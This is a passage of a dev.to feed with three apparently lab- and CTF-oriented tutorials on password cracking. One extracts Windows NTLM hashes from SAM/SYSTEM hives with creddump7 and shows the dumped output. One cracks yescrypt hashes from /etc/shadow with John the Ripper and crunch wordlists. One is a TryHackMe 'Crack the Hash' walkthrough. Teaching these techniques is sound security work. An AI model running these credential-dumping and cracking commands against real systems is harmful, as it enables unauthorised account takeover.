:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1011:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1012:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1013:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1014:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1015:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1016:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1017:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1018:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                           
┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;hashes.txt  SAM  SECURITY  SYSTEM

┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hkruzbzjeuzpp43ie0e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0hkruzbzjeuzpp43ie0e.png" alt=" " width="800" height="708"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3o4l3ztq79nyjvjbmuu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3o4l3ztq79nyjvjbmuu.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that the hash will be cracked if that password is present in the "rockyou.txt" wordlist&lt;br&gt;
If you want more powerful one →&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpx7ubxcui5ik67kcwln.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frpx7ubxcui5ik67kcwln.png" alt=" " width="747" height="731"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/Windows_dump]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;creddump7 
&lt;span class="go"&gt;creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache__
┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;cachedump.py  framework  lsadump.py  pwdump.py  __pycache__

┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python pwdump.py                                                                                          
&lt;span class="gp"&gt;usage: pwdump.py &amp;lt;system hive&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;SAM hive&amp;gt;
&lt;span class="go"&gt;
┌──(kali㉿kali)-[/usr/share/creddump7]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python pwdump.py ~/Windows_dump/SYSTEM ~/Windows_dump/SAM 
&lt;span class="go"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:22775c1ecbe2bd7d69c6dcd55b7f9b25:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4fa9775c90b54e688035a28e04d59a3c:::
james.l:1000:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
amir.k:1001:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sadia.b:1002:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
karim.r:1003:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
anika.d:1004:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rashed.h:1005:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nafisa.j:1006:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sumon.t:1007:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nazia.c:1008:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
arif.w:1009:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
kamal.n:1010:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
bilkis.z:1011:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
rubel.m:1012:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
tania.y:1013:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
robin.p:1014:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
sohan.v:1015:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
nayeem.d:1016:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
salma.q:1017:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
hossain.a:1018:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
meem.u:1019:aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd:::
support_admin:1020:aad3b435b51404eeaad3b435b51404ee:8a46225c4f14f99711b0c2d6002d3af2:::
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with “ john jumbo “ ⇒&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftq0ixcbx51mxlgohjllx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftq0ixcbx51mxlgohjllx.png" alt=" " width="800" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And, after that the password will be cracked.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Recover Lost Linux Password Using Yescrypt Hash Cracking (Kali &amp; Shadow File Guide)</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 11:45:08 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/recover-lost-linux-password-using-yescrypt-hash-cracking-kali-shadow-file-guide-2645</link>
      <guid>https://dev.to/ibrahim71reza/recover-lost-linux-password-using-yescrypt-hash-cracking-kali-shadow-file-guide-2645</guid>
      <description>&lt;p&gt;In Linux systems, user passwords are not stored in plain text. Instead, they are stored as cryptographic hashes inside the &lt;code&gt;/etc/shadow&lt;/code&gt; file. Modern distributions use &lt;strong&gt;yescrypt (&lt;code&gt;$y$&lt;/code&gt;)&lt;/strong&gt;, a memory-hard password hashing algorithm designed to resist brute-force and GPU-based attacks.&lt;/p&gt;

&lt;p&gt;Since hashing is a one-way function, passwords cannot be decrypted. Recovery is done through &lt;strong&gt;hash cracking&lt;/strong&gt;, where candidate passwords are hashed and compared against the stored value. Tools such as John the Ripper Jumbo are commonly used for this process.&lt;/p&gt;

&lt;p&gt;Because yescrypt is computationally expensive, &lt;strong&gt;blind brute-force attacks are inefficient&lt;/strong&gt;. The most practical approach is a &lt;strong&gt;dictionary attack&lt;/strong&gt;, where prebuilt wordlists (such as &lt;code&gt;rockyou.txt&lt;/code&gt;) are used along with mutation rules. In real-world CTFs, success depends heavily on contextual guessing, such as usernames, system themes, or predictable password patterns.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hash Location in Linux
&lt;/h2&gt;

&lt;p&gt;Password hashes are stored in &lt;code&gt;/etc/shadow&lt;/code&gt; with the following structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username:hash:lastchg:min:max:warn:inactive:expire:reserved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali:&lt;span class="nv"&gt;$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc&lt;/span&gt;/1kgL/nOPcWFTvhn17clxXCgyFjpC:19953:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Breakdown:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;kali&lt;/code&gt; → username
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$y$j9T$...&lt;/code&gt; → password hash (used for cracking only)

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$y$&lt;/code&gt; → yescrypt algorithm
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;j9T&lt;/code&gt; → cost parameters
&lt;/li&gt;
&lt;li&gt;salt → &lt;code&gt;zY1oKFxJlTgP2WcJhzbNl1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;hash → &lt;code&gt;xhkUmB8R9fzETc/...&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Remaining fields → password policy metadata
&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;For cracking purposes, only the hash portion is required:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Now, before cracking, you also need to get that hash from your system :)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
For this purpose, we will choose the &lt;strong&gt;&lt;em&gt;Autopsy&lt;/em&gt;&lt;/strong&gt; software, which is a free forensic tool. Install it and open an empty case. When complete, follow the image instructions.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The given process works for Disk image type or VM type file forensics.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6o4ovtad3smqrng5hy8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6o4ovtad3smqrng5hy8.png" alt=" " width="800" height="569"&gt;&lt;/a&gt;&lt;br&gt;
Now, select the image contain file and the image -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tqvnrtj5f8z0696prtl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tqvnrtj5f8z0696prtl.png" alt=" " width="800" height="553"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, go next , next. Then it start the analyze and it will take some time when it is finish by the given image way you will be able to get the shadow file :')-&amp;gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2hmircndt4pw6hzcpnsj.png" alt=" " width="800" height="550"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  Step 1: Prepare Hash File
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'$y$j9T$zY1oKFxJlTgP2WcJhzbNl1$xhkUmB8R9fzETc/1kgL/nOPcWFTvhn17clxXCgyFjpC'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, for cracking I will prefer John the ripper. If, default kali not work then you may use the john jumbo &lt;a href="https://github.com/openwall/john" rel="noopener noreferrer"&gt;link&lt;/a&gt; &amp;amp; &lt;a href="https://github.com/openwall/john/blob/bleeding-jumbo/doc/INSTALL" rel="noopener noreferrer"&gt;install_explain_link&lt;/a&gt;. After, it is installed let's follow the below steps&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2: Dictionary Attack
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Check results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--show&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1se6hcn0ourtafoycuy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1se6hcn0ourtafoycuy.png" alt=" " width="800" height="513"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: When Dictionary Attack Fails
&lt;/h2&gt;

&lt;p&gt;If the password is not present in the wordlist, more advanced techniques are required.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Sequential brute force (incremental attack)
&lt;/h3&gt;

&lt;p&gt;This method tries all possible combinations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--incremental&lt;/span&gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. Custom wordlist generation using Crunch
&lt;/h3&gt;

&lt;p&gt;Crunch allows generation of targeted wordlists instead of random brute force.&lt;/p&gt;

&lt;p&gt;Basic syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch &amp;lt;min&amp;gt; &amp;lt;max&amp;gt; &amp;lt;charset&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples:&lt;/p&gt;

&lt;p&gt;Numeric-only wordlist (4–6 digits):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 4 6 0123456789 &lt;span class="nt"&gt;-o&lt;/span&gt; numbers.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lowercase alphabet wordlist (3–5 characters):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 3 5 abcdefghijklmnopqrstuvwxyz &lt;span class="nt"&gt;-o&lt;/span&gt; alpha.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mixed pattern wordlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;crunch 6 6 abcdef123 &lt;span class="nt"&gt;-o&lt;/span&gt; custom.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. Use custom wordlist with John
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;crypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;custom.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Start with dictionary attack using &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Apply rule-based mutations
&lt;/li&gt;
&lt;li&gt;If unsuccessful, use custom wordlists (Crunch)
&lt;/li&gt;
&lt;li&gt;Use incremental brute force only as a last resort
&lt;/li&gt;
&lt;li&gt;Always prioritize contextual password guessing over blind attacks
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Key Insight
&lt;/h2&gt;

&lt;p&gt;Yescrypt is designed to resist brute-force attacks. Effective cracking depends not on raw computation, but on &lt;strong&gt;intelligent wordlist construction and contextual analysis&lt;/strong&gt;. This is why dictionary-based attacks remain the most practical method in CTFs and security testing environments.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>password</category>
      <category>linux</category>
      <category>hash</category>
    </item>
    <item>
      <title>Offline Hash Cracking Tutorial: Crack the Hash Room Walkthrough | TryHackMe</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 09:04:19 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/offline-hash-cracking-tutorial-crack-the-hash-room-walkthrough-tryhackme-9be</link>
      <guid>https://dev.to/ibrahim71reza/offline-hash-cracking-tutorial-crack-the-hash-room-walkthrough-tryhackme-9be</guid>
      <description>&lt;p&gt;Can you complete the level 1 tasks by cracking the hashes?&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-01:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 48bb6e862e54f2a795ffc4e541caed4d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Identifying the hash type (tools used -&amp;gt; "haiti" , "hash-identifier" , "hashid" )&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pw7l881ops9g89hh5yh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3pw7l881ops9g89hh5yh.png" alt=" " width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All indicating MD5 (mode 0)&lt;/p&gt;

&lt;p&gt;Now, put the hash text in the hash.txt file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr2qh7o3mf9xo4zq72za.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr2qh7o3mf9xo4zq72za.png" alt=" " width="800" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wzzyq6hlz3bz6nchm76.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9wzzyq6hlz3bz6nchm76.png" alt=" " width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;Question-02:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: CBFDAC6008F9CAB4083784CBD1874F76618D2A97
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Let's solve this with "john the ripper" tool&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2csmn97v61o2q51aqsup.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2csmn97v61o2q51aqsup.png" alt=" " width="662" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv93u1c06o68areai1uq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgv93u1c06o68areai1uq.png" alt=" " width="800" height="107"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-03:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: 1C8BFE8F801D79745C4631D09FFF36C82AA37FC4CCE4FC946683D7B336B63032
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;like the 1 -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl6ymudjx5aviy15kcut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl6ymudjx5aviy15kcut.png" alt=" " width="800" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzg3agybv08vlgjz7fkm0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzg3agybv08vlgjz7fkm0.png" alt=" " width="800" height="109"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-04:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: $2y$12$Dwt1BZj6pcyc3Dy1FWZ5ieeUznr71EeNkJkUlypTsgbX1H68wsRom
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It will take many time if we want to crack it by hashcat blowfish method normally&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feouxhend7oaxd70fmsre.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feouxhend7oaxd70fmsre.png" alt=" " width="657" height="274"&gt;&lt;/a&gt;&lt;br&gt;
confirmed “blowfish”&lt;br&gt;
Now, this will take long time crack&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp86tq8dpwfhw45y4mnii.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp86tq8dpwfhw45y4mnii.png" alt=" " width="659" height="174"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, let’s do brute force as string (Where I don’t know the length and assuming all lowercase letters)&lt;/p&gt;

